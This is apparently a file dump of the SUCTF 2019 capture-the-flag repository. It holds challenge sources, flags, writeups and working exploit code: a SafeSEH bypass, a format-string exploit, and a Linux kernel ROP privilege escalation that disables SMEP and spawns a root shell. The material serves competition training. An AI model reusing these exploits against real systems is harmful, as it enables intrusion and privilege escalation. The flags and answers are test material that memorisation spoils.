QIECgrICDcWX9rU6AAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECNQs4GFczqOkIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAoKyAg3Fl/a1OgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAjULOBhXM6jpCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKCsgINxZf2tToAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1CzgYVzOo6QgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgrICDcWX9rU6AAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECNQs4GFczqOkIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAoKyAg3Fl/a1OgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAjULOBhXM6jpCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKCsgINxZf2tToAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1CzgYVzOo6QgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgrICDcWX9rU6AAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECNQs4GFczqOkIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAoKyAg3Fl/a1OgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAgQIECBAgAABAjULOBhXM6jpCBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQKCsgINxZf2tToAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQIECBAgQIAAAQI1CzgYVzOo6QgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECgrICDcWX9rU6AAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECBAgQIECAAAECNQv8f7TL3XuToMZ3AAAAAElFTkSuQmCC -------------------------------------------------------------------------------- /Misc/签到题/writeup/Readme.md: -------------------------------------------------------------------------------- 1 | ###签到题 2 | SUCTF{480a523532f3516a01fe7ff3279bc73} 3 | 4 | ROT13得到 5 | 6 | ``` 7 | fhpgs{480n523532s3516n01sr7ss3279op73} 8 | ``` 9 | 10 | 2栏栅栏 11 | 12 | fps40533s560s7s29p3hg{8n25231n1rs37o7} 13 | 14 | 凯撒移位4位 15 | 16 | ``` 17 | jtw40533w560w7w29t3lk{8r25231r1vw37s7} 18 | ``` 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /Pwn/BabyStack/BabyStack.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/BabyStack/BabyStack.exe -------------------------------------------------------------------------------- /Pwn/BabyStack/BabyStack.exe.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/BabyStack/BabyStack.exe.zip -------------------------------------------------------------------------------- /Pwn/BabyStack/challenge.yaml: -------------------------------------------------------------------------------- 1 | # Challenge configuration 2 | name: BabyStack # Challenge name 3 | type: pwn # Challenge type (web,pwn,misc,rev,mobile,crypto etc.) 4 | value: 5 | description: > 6 | StackOverflow on Linux is not difficult,how about it on Window? 7 | flag: flag{M4ybe_Saf3_SEH_1s_n0t_S4f3?} # Correct flag 8 | hints: # Hints for current challenge 9 | - SafeSEH,ScopeTable 10 | image: true # Shoule build docker image for this challenge 11 | -------------------------------------------------------------------------------- /Pwn/BabyStack/exp.py: -------------------------------------------------------------------------------- 1 | from pwintools import * 2 | import struct 3 | 4 | def p32(addr): 5 | return struct.pack("0x%x\033[0m'%(s,addr)) 9 | 10 | def search_addr(addr): 11 | p.recvuntil("Do you want to know more?\r\n") 12 | p.sendline("yes") 13 | p.recvline() 14 | p.sendline(str(addr)) 15 | p.recvuntil("value is ") 16 | 17 | p = Process("./BabyStack.exe") 18 | p.recvuntil("Hello,I will give you some gifts\r\n") 19 | 20 | p.recvuntil("stack address = ") 21 | stack_addr = int(p.recvuntil("\r\n")[:-2],16) 22 | lg("stack_addr",stack_addr) 23 | 24 | p.recvuntil("main address = ") 25 | main_addr = int(p.recvuntil("\r\n")[:-2],16) + 0x6c2 26 | lg("main_addr",main_addr) 27 | 28 | p.recvline() 29 | p.sendline(hex(main_addr + 0x161)[2:].rjust(8,"0").upper()) 30 | 31 | search_addr(main_addr + 0x57e4) 32 | security_cookie = int(p.recvuntil("\r\n")[:-2],16) 33 | lg("security_cookie",security_cookie) 34 | 35 | # stack_addr-->0xd8fbf0 36 | # 00D8FB24 buffer_start 37 | # 00D8FBB4 GS_cookie 38 | # 00D8FBB8 addr1 39 | # 00D8FBBC start 40 | # 00D8FBC0 next_SEH 41 | # 00D8FBC4 this_SEH_ptr 42 | # 00D8FBC8 scope_table 43 | 44 | search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC0)) 45 | next_SEH = int(p.recvuntil("\r\n")[:-2],16) 46 | lg("next_SEH",next_SEH) 47 | 48 | search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC4)) 49 | this_SEH_ptr = int(p.recvuntil("\r\n")[:-2],16) 50 | lg("this_SEH_ptr",this_SEH_ptr) 51 | 52 | search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBC8)) 53 | Scope_Table = int(p.recvuntil("\r\n")[:-2],16) 54 | lg("Scope_Table",Scope_Table) 55 | 56 | search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBB4)) 57 | GS_cookie = int(p.recvuntil("\r\n")[:-2],16) 58 | lg("GS_cookie",GS_cookie) 59 | 60 | search_addr(stack_addr - (0xd8fbf0 - 0x0D8FBBC)) 61 | start = int(p.recvuntil("\r\n")[:-2],16) 62 | lg("start",start) 63 | 64 | p.recvuntil("Do you want to know more?\r\n") 65 | p.sendline("homura") 66 | 67 | buffer_start = stack_addr - (0xd8fbf0 - 0x0D8FB24) 68 | payload = "" 69 | payload += "A"*8 70 | payload += p32(0xFFFFFFE4) 71 | payload += p32(0) 72 | payload += p32(0xFFFFFF0C) 73 | payload += p32(0) 74 | payload += p32(0xFFFFFFFE) 75 | payload += p32(main_addr - 0x1b8) 76 | payload += p32(main_addr - 0x175) 77 | payload = payload.ljust(0x88,"C") 78 | payload += "H"*0x8 79 | payload += p32(GS_cookie) 80 | payload += p32(main_addr - 0x175) # "C"*0x4 81 | payload += "C"*0x4 # p32(main_addr - 0x175) 82 | payload += p32(next_SEH) 83 | payload += p32(this_SEH_ptr) 84 | payload += p32((buffer_start + 8)^security_cookie) 85 | # payload += p32(Scope_Table) 86 | p.sendline(payload) 87 | 88 | p.recvuntil("Do you want to know more?\r\n") 89 | p.sendline("yes") 90 | p.recvline() 91 | 92 | # raw_input() 93 | p.sendline("AA") 94 | # raw_input() 95 | 96 | p.interactive() 97 | -------------------------------------------------------------------------------- /Pwn/BabyStack/flag.txt: -------------------------------------------------------------------------------- 1 | flag{M4ybe_Saf3_SEH_1s_n0t_S4f3?} 2 | -------------------------------------------------------------------------------- /Pwn/playfmt/exp/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from LibcSearcher import LibcSearcher 3 | context.log_level = "debug" 4 | do_fmt_ebp_offset = 6 5 | play_ebp_offset = 14 6 | main_ebp_offset = 26 7 | 8 | def format_offset(format_str , offset): 9 | return format_str.replace("{}" , str(offset)) 10 | 11 | def get_target_offset_value(offset , name): 12 | payload = format_offset("%{}$p\x00" , offset) 13 | p.sendline(payload) 14 | text = p.recv() 15 | try: 16 | value = int(text.split("\n")[0] , 16) 17 | print(name + " : " + hex(value)) 18 | return value 19 | except Exception, e: 20 | print text 21 | 22 | def modify_last_byte(last_byte , offset): 23 | payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset) 24 | p.sendline(payload) 25 | p.recv() 26 | 27 | def modify(addr , value , ebp_offset , ebp_1_offset): 28 | addr_last_byte = addr & 0xff 29 | for i in range(4): 30 | now_value = (value >> i * 8) & 0xff 31 | modify_last_byte(addr_last_byte + i , ebp_offset) 32 | modify_last_byte(now_value , ebp_1_offset) 33 | 34 | p = process("./playfmt") 35 | elf = ELF("./playfmt") 36 | 37 | p.recvuntil("=\n") 38 | p.recvuntil("=\n") 39 | # leak ebp_1_addr then get ebp_addr 40 | play_ebp_addr = get_target_offset_value(do_fmt_ebp_offset, "logo_ebp") 41 | # get_ebp_addr 42 | main_ebp_addr = get_target_offset_value(do_fmt_ebp_offset, "main_ebp") 43 | # flag_class_ptr_addr = main_ebp_addr + 0x10 44 | # flag_class_ptr_offset = main_ebp_offset - 4 45 | flag_class_ptr_offset = 19 46 | flag_addr = get_target_offset_value(flag_class_ptr_offset , "flag_addr") - 0x420 47 | log.info(hex(flag_addr)) 48 | 49 | # puts_plt = elf.plt["puts"] 50 | modify(main_ebp_addr + 4 , flag_addr , do_fmt_ebp_offset , play_ebp_offset) 51 | # gdb.attach(p) 52 | payload = format_offset("%{}$s\x00" , play_ebp_offset + 1) 53 | p.send(payload) 54 | # log.info("flag_addr : " + hex(flag_addr)) 55 | 56 | # p.sendline("quit") 57 | p.interactive() -------------------------------------------------------------------------------- /Pwn/playfmt/flag.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/playfmt/flag.txt -------------------------------------------------------------------------------- /Pwn/playfmt/writeup见赛题设计说明.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/playfmt/writeup见赛题设计说明.txt -------------------------------------------------------------------------------- /Pwn/playfmt/源代码/Makefile: -------------------------------------------------------------------------------- 1 | playfmt:playfmt.cpp 2 | gcc -m32 playfmt.cpp -z relro -z now -lstdc++ -o playfmt -------------------------------------------------------------------------------- /Pwn/playfmt/源代码/playfmt.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #define nullptr 0 9 | using namespace std; 10 | char buf[200]; 11 | 12 | 13 | /* purecall add start */ 14 | 15 | class base { 16 | public: 17 | char* str; 18 | base() { 19 | this->str = (char*)malloc(32); 20 | memcpy(this->str, "hello,world", 32); 21 | } 22 | ~base() { 23 | puts(this->str); 24 | free(this->str); 25 | this->str = nullptr; 26 | } 27 | }; 28 | 29 | class derived :public base { 30 | public: 31 | char* flag; 32 | derived() { 33 | this->flag = nullptr; 34 | } 35 | derived(char* s) { 36 | this->flag = s; 37 | } 38 | 39 | ~derived() { 40 | this->flag = nullptr; 41 | } 42 | }; 43 | 44 | 45 | /* purecall add end */ 46 | 47 | int Get_return_addr() { 48 | int re_addr; 49 | asm( 50 | "mov (%%ebp),%%eax\n\t" 51 | "mov 4(%%eax),%%eax\n\t" 52 | : "=r"(re_addr) 53 | ); 54 | return re_addr; 55 | } 56 | 57 | void do_fmt() { 58 | while (1) { 59 | read(0, buf, 200); 60 | 61 | if (!strncmp(buf, "quit", 4)) 62 | break; 63 | printf(buf); 64 | } 65 | return; 66 | } 67 | 68 | void logo() { 69 | const int logo_ret = Get_return_addr(); 70 | puts("====================="); 71 | puts(" Magic echo Server"); 72 | puts("====================="); 73 | do_fmt(); 74 | if(logo_ret != Get_return_addr()) 75 | exit(0); 76 | return; 77 | } 78 | 79 | 80 | 81 | int main() { 82 | char *flag = (char *)malloc(0x10); //flag指针 83 | FILE *fd = fopen("flag.txt","r"); 84 | if(!fd){ 85 | printf("open flag error , please contact the administrator!\n"); 86 | exit(0); 87 | } 88 | fscanf(fd , "%s" , flag); 89 | fclose(fd); 90 | puts("Testing my C++ skills..."); 91 | 92 | 93 | //安全操作 94 | 95 | puts("testing 1..."); 96 | derived* nothing = new derived(nullptr); 97 | delete nothing; 98 | 99 | puts("testing 2..."); 100 | derived* nothing2 = new derived(); 101 | delete nothing2; 102 | 103 | puts("testing 3..."); 104 | //漏洞点 105 | 106 | //带参构造函数,this->flag = (global)flag 107 | derived* ptr = new derived(flag); 108 | base* ptr2 = (base*)ptr; 109 | puts("You think I will leave the flag?"); 110 | 111 | delete ptr2; //资源泄露 112 | 113 | flag = nullptr; 114 | //防止printf里直接打印这个栈上局部变量 115 | 116 | const int main_ret = Get_return_addr(); 117 | setvbuf(stdout, 0, 2, 0); 118 | logo(); 119 | if (main_ret != Get_return_addr()) 120 | exit(0); 121 | return 0; 122 | } 123 | 124 | -------------------------------------------------------------------------------- /Pwn/playfmt/题目附件/playfmt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/playfmt/题目附件/playfmt -------------------------------------------------------------------------------- /Pwn/playfmt/题目附件/playfmt.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/playfmt/题目附件/playfmt.zip -------------------------------------------------------------------------------- /Pwn/sudrv/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/sudrv/bzImage -------------------------------------------------------------------------------- /Pwn/sudrv/exp/pwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #define CRED_SIZE 168 11 | //0xFFFFFFFF819ED1C0 copy_user_generic_unrolled proc near 12 | //0xffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx; mov rax, rdi; ret; 13 | //0xffffffff81174b83: mov rcx, rax; pop r12; pop r13; mov rax, rcx; ret; 14 | //0xFFFFFFFF81081790: prepare_kernel_cred 15 | //0xFFFFFFFF81081410: commit_creds 16 | //0xffffffff81001388: pop rdi; ret; 17 | //0xffffffff81043ec8: pushfq; ret; 18 | //0xffffffff81044f17: pop rdx; ret; 19 | //0xffffffff8104e5b1: mov cr4, rdi; push rdx; popfq; ret; 20 | //0xffffffff81a00d5a: swapgs; popfq; ret; 21 | //0xffffffff81021762: iretq; ret; 22 | //0xffffffff81044f17: pop rdx; ret; 23 | #define KERNCALL __attribute__((regparm(3))) 24 | void* (*prepare_kernel_cred)(void*) KERNCALL ; 25 | void (*commit_creds)(void*) KERNCALL ; 26 | void su(){ 27 | commit_creds(prepare_kernel_cred(0)); 28 | } 29 | void get_shell(void){ 30 | puts("shell:"); 31 | execve("/bin/sh",0,0); 32 | } 33 | 34 | 35 | 36 | void su_malloc(int fd,int size) 37 | { 38 | ioctl(fd,0x73311337,size); 39 | } 40 | void su_free(int fd) 41 | { 42 | ioctl(fd,0xDEADBEEF); 43 | } 44 | unsigned long user_cs, user_ss, user_eflags,user_sp ; 45 | void save_stats() { 46 | asm( 47 | "movq %%cs, %0\n" 48 | "movq %%ss, %1\n" 49 | "movq %%rsp, %3\n" 50 | "pushfq\n" 51 | "popq %2\n" 52 | :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp) 53 | : 54 | : "memory" 55 | ); 56 | } 57 | int main() 58 | { 59 | setbuf(stdin, 0); 60 | setbuf(stdout, 0); 61 | setbuf(stderr, 0); 62 | int fd1 = open("/dev/meizijiutql",O_RDWR); 63 | char format[150]= 64 | "0x%llx0x%llx0x%llx0x%llx0x%llx0x%lx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx0x%llx\n"; 65 | char buf1[100]="aaaaaaaa"; 66 | char buf2[100]="bbbbbbbb"; 67 | char buf4[100]="cccccccc"; 68 | unsigned long long module_base ; 69 | unsigned long long poprdi; 70 | unsigned long long poprdx; 71 | unsigned long long movcr4; 72 | unsigned long long vmbase ; 73 | unsigned long long iretq ; 74 | unsigned long long swapgs ; 75 | unsigned long long movrcxrax; 76 | unsigned long long movrdircx; 77 | unsigned long long rop[0x30]; 78 | 79 | su_malloc(fd1,CRED_SIZE); 80 | write(fd1,buf1,150); 81 | char sb[255]; 82 | read(fd1,sb,255); 83 | write(1,sb,255); 84 | //su_print(fd1); 85 | su_free(fd1); 86 | char addr[16]; 87 | write(1,"input stack addr above(ffffxxxxxxxxed8-0x88) \n",60); 88 | scanf("%llx",(long long *)addr); 89 | write(1,"input vmlinux addr above(ffffffff8889a268) \n",60); 90 | scanf("%llx",&vmbase); 91 | vmbase = (vmbase -19505768) - 0xFFFFFFFF81000000;// (0xffffffffa4c9a268-0xffffffffa3a00000)); 92 | printf("%llx",vmbase); 93 | prepare_kernel_cred = vmbase + 0xFFFFFFFF81081790; 94 | commit_creds = vmbase + 0xFFFFFFFF81081410; 95 | swapgs = vmbase + 0xffffffff81a00d5a; 96 | iretq = vmbase + 0xffffffff81021762; 97 | poprdi = vmbase + 0xffffffff81001388; 98 | poprdx = vmbase + 0xffffffff81044f17; 99 | movcr4 = vmbase +0xffffffff8104e5b1; 100 | movrcxrax = vmbase + 0xffffffff81174b83; 101 | unsigned long long pushrax= vmbase +0xffffffff812599a8; 102 | unsigned long long poprbx = vmbase +0xffffffff81000926; 103 | unsigned long long callrbx = vmbase+0xffffffff81a001ea; 104 | save_stats(); 105 | //0xffffffff810c8d2f: mov rdi, rcx; sub rdi, rdx; mov rax, rdi; ret; 106 | //0xffffffff81174b83: mov rcx, rax; pop r12; pop r13; mov rax, rcx; ret; 107 | //0xffffffff829654a7: mov rdi, rbx; call rax; 108 | //0xffffffff8107f537: push rax; pop rbx; ret; 109 | //0xffffffff8101ac0c: pop rax; ret; 110 | //0xffffffff8296b882: mov rdi, rsi; ret; 111 | //0xffffffff81a001ea: mov rdi, r12; call rbx; 112 | //0xffffffff812599a8: push rax; pop r12; pop r13; pop r14; pop r15; ret; 113 | //0xffffffff81000926: pop rbx; ret; 114 | rop[0]=poprdi; 115 | rop[1]=0; 116 | rop[2]=prepare_kernel_cred; 117 | rop[3]=pushrax; 118 | rop[4]=0; 119 | rop[5]=0; 120 | rop[6]=0; 121 | rop[7]=poprbx; 122 | rop[8]=poprdx; 123 | rop[9]=callrbx; 124 | rop[10]=commit_creds; 125 | rop[11]=swapgs; 126 | rop[12]=0; 127 | rop[13]=iretq; 128 | rop[14]=(size_t)get_shell; 129 | rop[15] = user_cs; 130 | rop[16] = user_eflags; 131 | rop[17] = user_sp; 132 | rop[18] = user_ss; 133 | rop[19] = 0; 134 | char mem[0xc0+0x10]; 135 | memset(mem,0x41,0xd0); 136 | memcpy(mem+0xc0,addr,0x10); 137 | write(1,mem,0xd0); 138 | su_malloc(fd1,CRED_SIZE); 139 | write(fd1,mem,0xd0); 140 | su_malloc(fd1,CRED_SIZE); 141 | write(fd1,buf2,100); 142 | su_malloc(fd1,CRED_SIZE); 143 | write(fd1,(char*)rop,160); 144 | su_malloc(fd1,CRED_SIZE); 145 | write(fd1,(char*)rop,160); 146 | 147 | /* 148 | close(fd1); 149 | int pid = fork(); 150 | if(pid ==0) 151 | { 152 | //set(fd2,buf4,100); 153 | sleep(2); 154 | system("/bin/sh"); 155 | //su_malloc(fd1,CRED_SIZE); 156 | //set(fd1,buf2,CRED_SIZE); 157 | 158 | } 159 | else 160 | { 161 | char buf3[2*CRED_SIZE]; 162 | memset(buf3,0,2*CRED_SIZE); 163 | set(fd2,buf3,2*CRED_SIZE); 164 | //su_malloc(fd1,CRED_SIZE); 165 | //set(fd1,buf2,CRED_SIZE); 166 | } 167 | */ 168 | // close(fd2); 169 | } 170 | -------------------------------------------------------------------------------- /Pwn/sudrv/rootfs.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/sudrv/rootfs.cpio -------------------------------------------------------------------------------- /Pwn/sudrv/start.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | qemu-system-x86_64 \ 4 | -m 128M \ 5 | -kernel ./bzImage \ 6 | -initrd ./rootfs.cpio \ 7 | -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \ 8 | -monitor /dev/null \ 9 | -nographic 2>/dev/null \ 10 | -smp cores=2,threads=1 \ 11 | -cpu kvm64,+smep 12 | -------------------------------------------------------------------------------- /Pwn/sudrv/归档.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Pwn/sudrv/归档.zip -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SUCTF-2019 2 | 3 | SUCTF 2019 赛题源码 4 | -------------------------------------------------------------------------------- /Rev/SignIn/flag: -------------------------------------------------------------------------------- 1 | suctf{Pwn_@_hundred_years} -------------------------------------------------------------------------------- /Rev/SignIn/signin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/SignIn/signin -------------------------------------------------------------------------------- /Rev/SignIn/signin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/SignIn/signin.zip -------------------------------------------------------------------------------- /Rev/babyunic/babyunic 2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/babyunic/babyunic 2.zip -------------------------------------------------------------------------------- /Rev/babyunic/babyunic.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/babyunic/babyunic.zip -------------------------------------------------------------------------------- /Rev/babyunic/babyunic/babyunic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/babyunic/babyunic/babyunic -------------------------------------------------------------------------------- /Rev/babyunic/babyunic/func: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/babyunic/babyunic/func -------------------------------------------------------------------------------- /Rev/babyunic/babyunic/run.sh: -------------------------------------------------------------------------------- 1 | LD_PRELOAD=./un.so.1 ./babyunic func -------------------------------------------------------------------------------- /Rev/babyunic/babyunic/un.so.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/babyunic/babyunic/un.so.1 -------------------------------------------------------------------------------- /Rev/babyunic/flag: -------------------------------------------------------------------------------- 1 | SUCTF{Un1c0rn_Engin3_Is_@_P0wer7ul_TO0ls!} -------------------------------------------------------------------------------- /Rev/hardCpp/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | ```C++ 2 | auto c_xor = [](char _1) -> auto{ 3 | return[_1](char _2)->auto{ 4 | return (char)(_1^_2); 5 | }; 6 | }; 7 | ``` 8 | 9 | 这段代码实际上是**柯里化**,具体可以学习haskell,知乎上也有个专栏**从零开始学函数式C++** 10 | 11 | 12 | 13 | ```C++ 14 | puts("func(?)=\"01abfc750a0c942167651c40d088531d\"?"); 15 | ``` 16 | 17 | 这个去CMD5查要收费...换个站轻松查到是`#`字符的MD5值 18 | 19 | 20 | 21 | 代码中加入的time反调,最初是因为本题算法不复杂,angr几分钟就能跑出来 22 | 23 | ```C++ 24 | if(times > 0){ 25 | puts("Let the silent second hand take the place of my doubt..."); 26 | exit(0); 27 | } 28 | ``` 29 | 30 | 31 | 32 | 这里可以发现,times必须是0,也就是说数组下标中加上times不会有改变 33 | 34 | ```C++ 35 | for (int i = 1; i < 21; i++) { 36 | unsigned char c; 37 | c = input[i] ^ (char)times; 38 | c = c_add(c)(c_mod(input[i - 1 + times])(7)); 39 | //c += flag[i - 1] % 7; 40 | c = c_xor(c)(c_add(c_mul(c_xor(input[i - 1 + times])(0x12))(3))(2)); 41 | //c ^= (3 * (flag[i - 1] ^ 0x12) + 2); 42 | if (enc[i - 1] != c) { 43 | exit(0); 44 | } 45 | } 46 | ``` 47 | 48 | 49 | 50 | 由于最近在学ollvm,也用了fla参数,IDA看起来比较难受 51 | 52 | ```shell 53 | ~/build/bin/clang++ ./main.cpp -std=c++14 -mllvm -fla -o hardCpp 54 | ``` 55 | 56 | 57 | 58 | 59 | 60 | **exp** 61 | 62 | ```C 63 | #include 64 | #include 65 | #include 66 | 67 | unsigned char enc[] = { 0xf3,0x2e,0x18,0x36,0xe1,0x4c,0x22,0xd1,0xf9,0x8c,0x40,0x76,0xf4,0x0e,0x00,0x05,0xa3,0x90,0x0e,0xa5 }; 68 | 69 | int main(int argc,char**argv){ 70 | const char* flag = "#flag{mY-CurR1ed_Fns}"; 71 | //MD5('#')="01abfc750a0c942167651c40d088531d" 72 | char dec[21] = { '#' }; 73 | for (int i = 1; i < 21; i++) { 74 | char c = enc[i - 1]; 75 | c ^= (3 * (dec[i - 1] ^ 0x12) + 2); 76 | c -= dec[i - 1] % 7; 77 | printf("%c", c); 78 | dec[i] = c; 79 | } 80 | return 0; 81 | } 82 | ``` 83 | 84 | 85 | 86 | flag{mY-CurR1ed_Fns} -------------------------------------------------------------------------------- /Rev/hardCpp/源代码/hardCpp.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | using namespace std; 8 | 9 | unsigned char enc[] = { 0xf3,0x2e,0x18,0x36,0xe1,0x4c,0x22,0xd1,0xf9,0x8c,0x40,0x76,0xf4,0x0e,0x00,0x05,0xa3,0x90,0x0e,0xa5 }; 10 | 11 | int main(int argc, char**argv) { 12 | int t1 = time(NULL); 13 | 14 | auto c_xor = [](char _1) -> auto{ 15 | return[_1](char _2)->auto{ 16 | return (char)(_1^_2); 17 | }; 18 | }; 19 | 20 | auto c_add = [](char _1)->auto{ 21 | return[_1](char _2)->auto{ 22 | return (char)_1 + _2; 23 | }; 24 | }; 25 | 26 | auto c_mul = [](char _1)->auto{ 27 | return[_1](char _2)->auto { 28 | return (char)_1 * _2; 29 | }; 30 | }; 31 | 32 | auto c_mod = [](char _1)->auto{ 33 | return[_1](int _2)->char { 34 | return _1 % _2; 35 | }; 36 | }; 37 | 38 | char input[22]; 39 | puts("func(?)=\"01abfc750a0c942167651c40d088531d\"?"); 40 | //MD5('#') 41 | input[0] = getchar(); 42 | 43 | fgets(input + 1, 21, stdin); 44 | int t2 = time(NULL); 45 | 46 | int times = t2 - t1; 47 | 48 | if (times > 0) { 49 | puts("Let the silent second hand take the place of my doubt..."); 50 | exit(0); 51 | } 52 | 53 | 54 | int len = strlen(input); 55 | if (len != 21) { 56 | exit(0); 57 | } 58 | 59 | 60 | for (int i = 1; i < 21; i++) { 61 | unsigned char c; 62 | c = input[i] ^ (char)times; 63 | c = c_add(c)(c_mod(input[i - 1 + times])(7)); 64 | //c += flag[i - 1] % 7; 65 | c = c_xor(c)(c_add(c_mul(c_xor(input[i - 1 + times])(0x12))(3))(2)); 66 | //c ^= (3 * (flag[i - 1] ^ 0x12) + 2); 67 | if (enc[i - 1] != c) { 68 | exit(0); 69 | } 70 | } 71 | 72 | puts("You win"); 73 | return 0; 74 | } 75 | -------------------------------------------------------------------------------- /Rev/hardCpp/源代码/编译.txt: -------------------------------------------------------------------------------- 1 | ~/build/bin/clang++ ./hardCpp.cpp -std=c++14 -mllvm -fla -mllvm -split_num=3 -mllvm -sub_loop=3 -lstdc++ -mllvm -bcf -stdlib=libc++ -o hardCpp 2 | ubuntu64 ollvm 4.0 -------------------------------------------------------------------------------- /Rev/hardCpp/题目文件/hardCpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/hardCpp/题目文件/hardCpp -------------------------------------------------------------------------------- /Rev/hardCpp/题目文件/hardCpp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Rev/hardCpp/题目文件/hardCpp.zip -------------------------------------------------------------------------------- /Rev/rev/writeup.md: -------------------------------------------------------------------------------- 1 | 程序用IDA打开很复杂 2 | 3 | 一开始用`boost::tokenizer`切割字符串 4 | 5 | 输入形如`aaaa-bbbbb-cccccc`,中间的特殊符号会被认为是分隔符,然后获得这三个`std::string`,分别check 6 | 7 | 8 | 9 | 第一个,res[0],要求长度是10,然后经过 10 | 11 | `boost::trim_left_copy_if(res[0], boost::is_any_of("1"))` 12 | 13 | 这句话是把这个字符串左边的`1`全部去掉 14 | 15 | 进入一个循环,要求每个字符异或0xab后和数组相同,长度要求是5,也就是说一开始被去掉了五个`1` 16 | 17 | 于是输入的第一段是`11111suctf` 18 | 19 | 20 | 21 | 22 | 23 | 第二个,res[1], 24 | 25 | `((res[1].length() == 4) &&` 26 | 27 | `(boost::all(res[1],boost::is_from_range('a','g')` 28 | 29 | `|| boost::is_from_range('A', 'G')))) ` 30 | 31 | 长度是4,每个字符都是[A-Ga-g] 32 | 33 | 经过`boost::to_upper`要求和原string相同,这表明输入的4个字符都是大写字母 34 | 35 | 限制范围在[A-G]了 36 | 37 | 要求4个字符的数值递增,步长为2, 38 | 39 | 那么只能ACEG 40 | 41 | 也就是第二个的输入 42 | 43 | 44 | 45 | 第三个,res[2] 46 | 47 | 通过`boost::all(res[2],boost::is_digit())`判断要求都是数字,小于10位,转成int,记作sum 